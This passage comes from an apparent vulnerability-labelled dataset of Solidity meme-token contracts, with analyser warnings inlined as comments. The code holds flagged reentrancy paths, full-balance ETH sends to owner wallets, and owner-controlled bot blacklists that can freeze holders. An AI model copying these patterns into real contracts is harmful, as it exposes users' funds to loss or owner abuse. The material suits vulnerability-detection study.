ID: 01954b5\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 01954b5\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (transferTaxExempt[from] || transferTaxExempt[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) {\n\t\t\t\t// divide-before-multiply | ID: 9e1904a\n\t\t\t\t// divide-before-multiply | ID: c79a3af\n fees = amount.mul(sellTaxTotal).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: c79a3af\n\t\t\t\t// reentrancy-eth | ID: 01954b5\n tokensForProject += (fees * sellProjectTax) / sellTaxTotal;\n\n\t\t\t\t// reentrancy-benign | ID: 6741b68\n\t\t\t\t// divide-before-multiply | ID: 9e1904a\n tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal;\n } else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {\n\t\t\t\t// divide-before-multiply | ID: 7441649\n\t\t\t\t// divide-before-multiply | ID: 3bcbe83\n fees = amount.mul(buyTaxTotal).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 7441649\n\t\t\t\t// reentrancy-eth | ID: 01954b5\n tokensForProject += (fees * buyProjectTax) / buyTaxTotal;\n\n\t\t\t\t// reentrancy-benign | ID: 6741b68\n\t\t\t\t// divide-before-multiply | ID: 3bcbe83\n tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: f8308b6\n\t\t\t\t// reentrancy-eth | ID: 01954b5\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: f8308b6\n\t\t// reentrancy-eth | ID: 01954b5\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: f8308b6\n\t\t// reentrancy-benign | ID: 6741b68\n\t\t// reentrancy-benign | ID: a9c5732\n\t\t// reentrancy-eth | ID: 01954b5\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a9c5732): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a9c5732: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e318111): DTRUMP.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for e318111: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 1d683f5): DTRUMP.swapBack().success is written in both (success,None) = address(projectWallet).call{value ethForDev}() (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for 1d683f5: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = contractBalance;\n\n bool success;\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapBackValueMax) {\n contractBalance = swapBackValueMax;\n }\n\n uint256 amountToSwapForETH = contractBalance;\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-benign | ID: a9c5732\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForDev = ethBalance.mul(tokensForProject).div(\n totalTokensToSwap\n );\n\n\t\t// reentrancy-benign | ID: a9c5732\n tokensForMarketing = 0;\n\n\t\t// reentrancy-benign | ID: a9c5732\n tokensForProject = 0;\n\n\t\t// reentrancy-events | ID: f8308b6\n\t\t// reentrancy-benign | ID: 6741b68\n\t\t// write-after-write | ID: 1d683f5\n\t\t// reentrancy-eth | ID: 01954b5\n (success, ) = address(projectWallet).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: f8308b6\n\t\t// reentrancy-benign | ID: 6741b68\n\t\t// write-after-write | ID: 1d683f5\n\t\t// reentrancy-eth | ID: 01954b5\n\t\t// arbitrary-send-eth | ID: e318111\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}\n", "file_name": "solidity_code_10321.sol", "size_bytes": 31877, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract VITALIK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bf72c96): VITALIK._taxWallet should be immutable \n\t// Recommendation for bf72c96: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 120a95d): VITALIK._initialBuyTax should be constant \n\t// Recommendation for 120a95d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: eafb02d): VITALIK._initialSellTax should be constant \n\t// Recommendation for eafb02d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd71f0f): VITALIK._reduceBuyTaxAt should be constant \n\t// Recommendation for fd71f0f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: c595c34): VITALIK._reduceSellTaxAt should be constant \n\t// Recommendation for c595c34: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3916fed): VITALIK._preventSwapBefore should be constant \n\t// Recommendation for 3916fed: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Vitalikseus Maximus\"; //\n\n string private constant _symbol = unicode\"$ETHGOAT\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 179f4a6): VITALIK._taxSwapThreshold should be constant \n\t// Recommendation for 179f4a6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6cdbf8e): VITALIK._maxTaxSwap should be constant \n\t// Recommendation for 6cdbf8e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x0DFD2F99D0508f8849F44b1f4f6bBC33c602b239);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0f32b8b): VITALIK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0f32b8b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3c7b550): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3c7b550: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 52f6bff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 52f6bff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3c7b550\n\t\t// reentrancy-benign | ID: 52f6bff\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3c7b550\n\t\t// reentrancy-benign | ID: 52f6bff\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3761f49): VITALIK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3761f49: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 52f6bff\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3c7b550\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f16cc4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f16cc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1e2452d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1e2452d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4f16cc4\n\t\t\t\t// reentrancy-eth | ID: 1e2452d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4f16cc4\n\t\t\t\t\t// reentrancy-eth | ID: 1e2452d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1e2452d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1e2452d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1e2452d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4f16cc4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1e2452d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1e2452d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4f16cc4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4f16cc4\n\t\t// reentrancy-events | ID: 3c7b550\n\t\t// reentrancy-benign | ID: 52f6bff\n\t\t// reentrancy-eth | ID: 1e2452d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4f16cc4\n\t\t// reentrancy-events | ID: 3c7b550\n\t\t// reentrancy-eth | ID: 1e2452d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9557bc0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9557bc0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc0dc16): VITALIK.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fc0dc16: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 425ac82): VITALIK.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 425ac82: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bc79fec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bc79fec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9557bc0\n\t\t// reentrancy-eth | ID: bc79fec\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9557bc0\n\t\t// unused-return | ID: fc0dc16\n\t\t// reentrancy-eth | ID: bc79fec\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9557bc0\n\t\t// unused-return | ID: 425ac82\n\t\t// reentrancy-eth | ID: bc79fec\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9557bc0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bc79fec\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10322.sol", "size_bytes": 19909, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BULLSEUS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 448281a): BULLSEUS._taxWallet should be immutable \n\t// Recommendation for 448281a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e3413c): BULLSEUS._initialBuyTax should be constant \n\t// Recommendation for 9e3413c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: a2243ea): BULLSEUS._initialSellTax should be constant \n\t// Recommendation for a2243ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 16;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c9f94c): BULLSEUS._reduceBuyTaxAt should be constant \n\t// Recommendation for 9c9f94c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: d381f7a): BULLSEUS._reduceSellTaxAt should be constant \n\t// Recommendation for d381f7a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce4c363): BULLSEUS._preventSwapBefore should be constant \n\t// Recommendation for ce4c363: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69000000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bullseus Maximus\";\n\n string private constant _symbol = unicode\"BULL\";\n\n uint256 public _maxTxAmount = 1380000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1380000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4749f08): BULLSEUS._taxSwapThreshold should be constant \n\t// Recommendation for 4749f08: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 690000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ddf2906): BULLSEUS._maxTaxSwap should be constant \n\t// Recommendation for ddf2906: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 690000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x830760B68f81b9967b47E1EA1Ae3a835fCe92770);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 719f66a): BULLSEUS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 719f66a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 21f09c0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 21f09c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c373e32): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c373e32: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 21f09c0\n\t\t// reentrancy-benign | ID: c373e32\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 21f09c0\n\t\t// reentrancy-benign | ID: c373e32\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9aba591): BULLSEUS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9aba591: Rename the local variables that shadow 